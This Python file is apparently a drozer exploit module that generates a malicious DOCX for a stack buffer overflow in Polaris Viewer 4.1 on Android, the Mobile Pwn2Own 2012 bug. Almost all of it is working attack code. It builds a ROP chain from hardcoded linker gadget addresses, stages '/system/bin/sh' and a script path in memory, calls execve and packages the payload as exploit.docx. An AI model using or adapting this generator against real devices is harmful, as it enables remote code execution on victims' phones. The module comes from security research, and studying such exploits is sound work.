from drozer.modules import common, Module
from WithSecure.common import fs
import os, sys, zipfile, tempfile

class Stack(object):
  """ A class to model a stack, allowing us to add items to it and get it to generate a ROP chain for that stack """
  def __init__(self):
    self.csvalues = []
    self.out = ""

    # Initial padding
    self.add("a" * 104)

  def add(self, expr, nulls = 0):
    if expr == "\x00":
      self.csvalues = [self.out] + self.csvalues
      self.out += "$"
    else:
      for x in range(0,nulls):
        self.csvalues = [self.out] + self.csvalues
        if x > nulls-1:
          self.out+="$"
      self.out += expr

  def genPayload(self):
    return ",".join(self.csvalues)

  def pad(self, size):
    self.add("a" * size)

  def nullPtr(self):
    self.add("&#x0114;")
    self.add("&#x0130;", 1)
    
  def toaddr(self, addr):
    addr = self.normaliseAddr(addr)
    
    if addr[:4] == "b000":
      # Linker address
      self.add(self.encodeByte(addr[6:]))
      self.add(self.encodeByte(addr[4:6]))
      self.add("&#x0130;", 1)
    elif addr[:5] == "0000a":
      # app_process address
      self.add(self.utf8ToCP(addr[4:]))
      self.add("\x00")
      self.add("\x00")
    else:
      # Normal address
      self.add(self.encodeByte(addr[6:]))
      self.add(self.encodeByte(addr[4:6]))
      self.add(self.encodeByte(addr[2:4]))
      self.add(self.encodeByte(addr[:2]))

  def tostring(self, string):
    res = ""
    for x in string:
      if x == "\x00":
        self.add(x)
      else:
        ent = "&#x%s;" % hex(ord(x))
        self.add(ent.replace("x0x", "x"))

  def normaliseAddr(self, addr):
    if addr[:2] == "0x":
      addr = addr[2:]
    return addr.lower()

  def store(self, string, addr):
    addr = self.normaliseAddr(addr)
    
    # Null-terminate and pad
    string += "\0"
    while (len(string) % 4) != 0:
      string += "a"

    self.toaddr("0xb0005221")
    self.tostring(string[:4])
    self.nullPtr()
    self.toaddr(addr)
    
    for i in range(0, len(string), 4):
      #print "Writing " + string[i:i+4] + " to " + str(addr)
      nextWrite = string[i+4:i+8]
      if not nextWrite:
        nextWrite = "aaaa"
      
      addr = self.normaliseAddr("0x%08x" % (int(addr, 16) + 4))
      
      self.toaddr("0xb0003d47")
      self.tostring(nextWrite)
      self.nullPtr()
      self.toaddr(addr)
      self.nullPtr()
      self.nullPtr()

  def storeDword(self, bytes, addr, storetype="addr"):
    addr = self.normaliseAddr(addr)

    self.toaddr("0xb0005221")
    if storetype == "data":
      self.tostring(bytes)
    else:
      self.toaddr(bytes)
    self.pad(4)
    self.toaddr(addr)
      
    self.toaddr("0xb0003d47")
    self.pad(20)

  def encodeByte(self, byte):
    nbyte = int(byte, 16)
  
    if nbyte == 0:
      return "\x00"

    if nbyte < 0x20 or nbyte > 0x7f or nbyte == 0x2c: 
      print("[!] Invalid byte detected: ", byte)
      return ""

    return "&#x%s;" % byte

  def pointSP(self, addr):
    self.toaddr("0xb0002860")
    self.toaddr(addr)
    self.pad(4)

  def subVal(self, addr, val1, val2, mode="addr"):
    # pop {r2-r6, pc}
    self.toaddr("0xb000584f")
    self.pad(4)
    self.toaddr("0xb0003d47")
    self.pad(12)

    # pop {r4-r7, pc}
    self.toaddr("0xb0002460")
    if mode == "data":
      self.tostring(val1)
    else:
      self.toaddr(val1)
    self.pad(4)
    self.toaddr(addr)
    if mode == "data":
      self.tostring(val2)
    else:
      self.toaddr(val2)

    # sub r4 r4 r7; blx r3
    self.toaddr("0xb0005323")

    # Filler for copy operation
    self.pad(20)

  # TODO: This is horrible - fix it up!
  def utf8ToCP(self, b):
    # 0x0000a0xx
    if b == "a0c4":
      return "&#x120;"
    elif b == "a0c8":
      return "&#x220;"
    elif b == "a0cc":
      return "&#x320;"
    elif b == "a0d0":
      return "&#x420;"
    elif b == "a0d4":
      return "&#x520;"
    elif b == "a0d8":
      return "&#x620;"
    elif b == "a0dc":
      return "&#x720;"
    # 0x0000a1xx
    elif b == "a1c4":
      return "&#x121;"
    elif b == "a1c8":
      return "&#x221;"
    elif b == "a1cc":
      return "&#x321;"
    elif b == "a1d0":
      return "&#x421;"
    elif b == "a1d4":
      return "&#x521;"
    elif b == "a1d8":
      return "&#x621;"
    elif b == "a1dc":
      return "&#x721;"
    elif b == "a1e0":
      return "bb" # This is beyond the 2 byte range. I think we discard it though, so we might get away with it...
    # 0x0000a2xx
    elif b == "a2c4":
      return "&#x122;"
    elif b == "a2c8":
      return "&#x222;"
    elif b == "a2cc":
      return "&#x322;"
    elif b == "a2d0":
      return "&#x422;"
    elif b == "a2d4":
      return "&#x522;"
    elif b == "a2d8":
      return "&#x622;"
    elif b == "a2dc":
      return "&#x722;"
    # 0x0000a3xx
    elif b == "a3c4":
      return "&#x123;"
    elif b == "a3c8":
      return "&#x223;"
    elif b == "a3cc":
      return "&#x323;"
    elif b == "a3d0":
      return "&#x423;"
    elif b == "a3d4":
      return "&#x523;"
    elif b == "a3d8":
      return "&#x623;"
    elif b == "a3dc":
      return "&#x723;"
    # 0x0000a4xx
    elif b == "a4c4":
      return "&#x124;"
    elif b == "a4c8":
      return "&#x224;"
    elif b == "a4cc":
      return "&#x324;"
    elif b == "a4d0":
      return "&#x424;"
    elif b == "a4d4":
      return "&#x524;"
    elif b == "a4d8":
      return "&#x624;"
    elif b == "a4dc":
      return "&#x724;"
    # 0x0000a5xx
    elif b == "a5c4":
      return "&#x125;"
    elif b == "a5c8":
      return "&#x225;"
    elif b == "a5cc":
      return "&#x325;"
    elif b == "a5d0":
      return "&#x425;"
    elif b == "a5d4":
      return "&#x525;"
    elif b == "a5d8":
      return "&#x625;"
    elif b == "a5dc":
      return "&#x725;"
    else:
      print("Cannot convert", b)


class PolarisViewerBoF_Generate(Module, common.Exploit):

    name = "Generate Polaris Viewer 4 exploit DOCX (Mobile Pwn2Own 2012)"
    description = """
    When parsing DOCX files containing VML shapes, for example Word Art, the application makes a call to CDocxShape::readDrawShapeInfo. This function parses a series of tags associated with a VML shape. When it encounters an "adj" tag, the function enters a loop that parses the tag value as a list of comma-separated values. Each of these values are copied into a 64-byte buffer on the stack without checking their length. If any of these values exceed 64 bytes in size, it is possible to corrupt stack memory and gain control of the program's flow of execution.
    This was turned into a browser-based attack because the exploit relies on an additional file containing the shell commands to run e.g. install a package or echo out a binary and run it. This was originally sent over NFC as demonstrated at Mobile Pwn2Own 2012.
    
    References: http://labs.mwrinfosecurity.com/blog/2012/09/19/mobile-pwn2own-at-eusecwest-2012/
    Vulnerable: 

      * Polaris Viewer 4.1

    NOTE: Currently only works on ICS devices with a T-Mobile linker (MD5SUM=ca89ef3ffa6f48ca4147387638559d94)
    """
    examples = ""
    author = ["Tyrone (@mwrlabs)", "Jon (@mwrlabs)", "Jacques (@mwrlabs)", "Nils (@mwrlabs)"]
    date = "2013-07-17"
    license = "BSD (3 clause)"
    path = ["exploit", "remote", "fileformat"]
    module_type = "exploit"
    linkers = { 0 : "Android 4.0.4 T-Mobile linker (MD5=ca89ef3ffa6f48ca4147387638559d94)" }

    payloads = [] 

    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)

        self.payload_format = "N"

    def add_arguments(self, parser):
        parser.add_argument("--linker", default=0, help="select which linker to use as source of ROP gadgets")
        parser.add_argument("--shellScriptLocation", default="/sdcard/Download/auth.bin", help="the location of the file to EXECVE")

    def generate(self, arguments):

        f = open(os.path.join(os.path.dirname(__file__), "orig_document.xml"), "r")
        temp_dir = tempfile.mkdtemp()
        xml = f.read()
        s = Stack()

        # Some more padding for alignment - required so that we can fix the pointer with junk, not data
        s.toaddr("0xb0005221")
        s.pad(12)

        # Here's how we want the memory laid out:
        # 0x0000a0c4 - "/system/bin/sh"
        # 0x0000a1c4 - "/path/to/file.sh"
        # 0x0000a5c4 - Fake stack 0 (to make stack 1 shorter)
        # 0x0000a2c4 - Fake stack 1 (to populate r7)
        # 0x0000a3c4 - Fake stack 2 (to populate r0-r2)
        # 0x0000a4c4 - argv[] for execve()
        # 0x0000a4d0 - envp[] for execve()

        # Strings for execve
        s.store("/system/bin/sh", "0x0000a0c4")
        s.store(arguments.shellScriptLocation, "0x0000a1c4")

        # argv array
        s.storeDword("0x0000a0d0", "0x0000a4c4") # Argv[0], "sh"
        s.storeDword("0x0000a1c4", "0x0000a4c8") # Argv[1], our .sh file
        s.storeDword("0x00000000", "0x0000a4cc") # Argv[2], null terminator

        # envp array
        s.storeDword("0x00000000", "0x0000a4d0") # Argv[2], null terminator

        # Setup fake stack 0
        s.storeDword("0xb0002860","0x0000a5cc") # pc - 0xb0002860:  ldmia sp, {sp, lr, pc}
        s.storeDword("0x0000a2c4","0x0000a5d0") # sp
        s.storeDword("0xb0002860","0x0000a5d4") # lr - point to pop sp gadget
        s.subVal("0x0000a5d8", "0xb0003770", "0x00002000") # pc - # >0xb0001770 : pop {r4 r7} ; bx lr ;;

        # Setup fake stack 1
        s.subVal("0x0000a2c8", "3333", "(333", mode="data") # r7
        s.storeDword("0x0000a3c4", "0x0000a2cc") # arg for pointSP, addr of fake stack 2
        s.subVal("0x0000a2d4", "0xb0003923", "0x00000070") # Jump to fake stack 2 - #>0xb00038b3 : pop {r0 r1 r2 r3 r4 pc} ;;

        # Setup fake stack 2
        s.storeDword("0x0000a0c4", "0x0000a3c4") # r0
        s.storeDword("0x0000a4c4", "0x0000a3c8") # r1, argv
        s.storeDword("0x0000a4d0", "0x0000a3cc") # r2, envp

        # Call SVC
        s.subVal("0x0000a3d8", "0xb0003830", "0x00002070") # pc, addr of SVC

        # Point to fake stack 0 and set lr
        s.pointSP("0x0000a5c4")

        # Jump to the fake stack 0 - >0xb000652d : pop {r4 r5 pc} ;;
        s.toaddr("0xb000652d")

        # We need this here, otherwise the final string doesn't get added to the document XML. Buggy code :)
        s.add("\x00")

        # Write the malicious XML to document.xml
        xml = xml.replace("$REPLACEME$", s.genPayload())
        os.makedirs(os.path.join(temp_dir, "template", "word"))
        fs.write(os.path.join(temp_dir, "template", "word", "document.xml"), xml)

        # Save working directory and change to template folder
        cwd = os.getcwd()
        os.chdir(os.path.join(temp_dir, "template"))

        # Zip up the contents into a DOCX
        zip = zipfile.ZipFile(os.path.join(temp_dir, "exploit.docx"), 'w')
        for root, dirs, files in os.walk("."):
          for file in files:
            zip.write(os.path.join(root, file))
        zip.close()

        # Restore working directory
        os.chdir(cwd)

        print("Done. Exploit file generated with the following parameters:\n    Location = %s\n    Execute = %s" % (os.path.join(temp_dir, "exploit.docx"), arguments.shellScriptLocation))
